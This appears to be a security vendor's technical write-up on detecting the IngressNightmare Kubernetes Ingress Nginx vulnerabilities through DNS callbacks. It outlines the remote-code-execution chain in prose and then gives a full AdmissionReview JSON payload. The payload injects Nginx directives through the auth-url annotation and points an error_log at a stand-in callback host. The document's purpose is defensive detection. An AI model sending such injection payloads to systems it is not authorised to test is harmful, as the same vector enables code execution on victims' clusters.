Overview
This document details Google Cloud’s methodology for detecting the IngressNightmare vulnerability chain affecting Kubernetes Ingress Nginx Controllers discovered by Wiz. We've developed a novel non-intrusive technique that leverages DNS callbacks through directive injection to reliably identify vulnerable instances without causing service disruption or requiring internal (agent-based) access.
Real-World Usefulness
Our attack surface management capabilities operate in a completely agentless, external manner. Unlike agent-based solutions which typically have privileged access inside the environment to gather such details, our external approach means we cannot simply query internal version information to determine vulnerability status, presenting unique detection challenges. This is particularly problematic with Ingress Nginx Controllers, which are notoriously difficult to fingerprint due to their generic response patterns. As will be discussed further, this specific vulnerability further complicates things as it involves intrusive and bruteforcing techniques which may not be reliable nor looked upon favorably by customers.
While traditional fingerprinting methods exist—such as examining TLS certificate attributes like issuer_field, subject_org, and subject_alternative_names—these techniques only identify the presence of an Ingress Nginx Controller, not its vulnerability status. Vendors like Runzero recommend this technique to help customers discover internet-exposed controllers (which may represent a security risk by themselves), but this approach cannot differentiate between vulnerable and patched implementations.
The DNS directive injection technique included in Google Threat Intelligence provides a significant advantage by reliably confirming whether a specific target is actually vulnerable to exploitation, not just potentially at risk. This verification works effectively as long as DNS lookups aren't being blocked in the target environment. We've integrated this technique into our scanning engine and are actively assessing customer environments for this vulnerability as you read this.
This approach enables precise vulnerability identification rather than merely flagging potential risk factors, allowing for more targeted remediation efforts and reducing false positives that could consume valuable security resources.
Technical Deep-Dive
Background
Dubbed 'IngressNightmare', exploitation involves the following vulnerabilities:
- CVE-2025-1097
- CVE-2025-1098
- CVE-2025-24514
- CVE-2025-1974
CVE-2025-1974 serves as the 'umbrella' vulnerability, representing the core Nginx issue, while the other CVEs represent specific vectors that enable active exploitation.
In other words, 'IngressNightmare' requires CVE-2025-1974 combined with one of the injection vectors mentioned above to achieve successful exploitation.
As discussed in the Wiz blog findings, active exploitation involves three coordinated steps:
- Directive Injection: Crafting and sending a malicious AdmissionReview request to the Kubernetes Ingress Nginx Controller containing the ssl_engine directive which yields the ability to load arbitrary shared objects, which gets injected into the Nginx configuration.
- Malicious Payload Upload: Simultaneously uploading a malicious shared object to the target while manipulating the Content-Length header to keep the connection open and the payload in memory.
- Bruteforcing: Systematically bruteforcing process IDs and file descriptors to exploit a Time-of-Check-Time-of-Use (TOCTOU) race condition, allowing the injected ssl_engine directive to load the malicious shared object from memory, resulting in remote code execution.
The problem with this methodology is when attempting to conduct this programmatically at scale, it becomes complicated. Namely the fact that it involves bruteforcing to find the process holding the shared object, and the fact that a ‘malicious’ shared object is uploaded to a customer’s environment could be seen as intrusive (although the shared object could be specifically built to have benign behavior).
Though in our case, this had some negative effects as mentioned earlier. The question instead becomes, what is the most benign way (yet active) that we could detect this vulnerability?
So Many Directives…
Among the three available annotation injection vectors, our testing has identified the auth-url annotation (CVE-2025-24514) as the most reliable option, despite its incompatibility with version v1.12.0. Based on this assessment, we have selected the auth-url annotation vector for our detection methodology.
When exploring how to detect vulnerable Ingress Nginx Controllers, we needed to identify an appropriate Nginx directive that would provide confirmation without causing disruption or security concerns.
The error_log directive emerged as an ideal candidate. While primarily designed for error message persistence, error_log supports remote logging capabilities that allow logs to be directed to external destinations. The key insight was that when a hostname is specified in this directive, Nginx must resolve it to an IP address, thus generating a DNS lookup.
By capturing these DNS lookups through our home-grown DNS Exfiltration Service (aka DNS Exfil Service), we can confirm that our injected directive was successfully processed by a vulnerable controller. This approach offers several security advantages:
- DNS lookups are generally considered benign network activity, as they don't transmit sensitive data.
- Most environments use third-party DNS resolvers, meaning the lookup originates from the resolver rather than the host itself.
- We include the resolver directive specifying Google's public DNS (8.8.8.8), further protecting host privacy.
- DNS egress traffic is rarely restricted in corporate environments, especially to trusted public resolvers.
Our DNS Exfiltration Service incorporates a unique hashing mechanism that allows us to correlate each lookup with the specific entity being tested, providing precise vulnerability identification without compromising security posture.
Show me the payload
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "test-uid",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"operation": "CREATE",
"object": {
"apiVersion": "networking.k8s.io/v1",
"kind": "Ingress",
"metadata": {
"name": "auth-url-test",
"namespace": "default",
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;\\n resolver 8.8.8.8;\\n error_log syslog:server=w00tw00t.dns-exfil-callback-listener:80 debug;\\n #"
}
},
"spec": {
"ingressClassName": "nginx",
"rules":
{
"host": "test.example.com",
"http": {
"paths":
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "nonexistent",
"port": {
"number": 80
}
}
}
}
]
}
}
]
}
}
}
}Replace dns-exfil-callback-listener referenced above with the callback host belonging to the DNS Callback Listener service you're using (e.g., Burp Collaborator).
Fire off an HTTP request containing the payload above against a vulnerable Ingress Nginx Controller (via the /validate endpoint). You should then observe a DNS lookup being received by your callback service.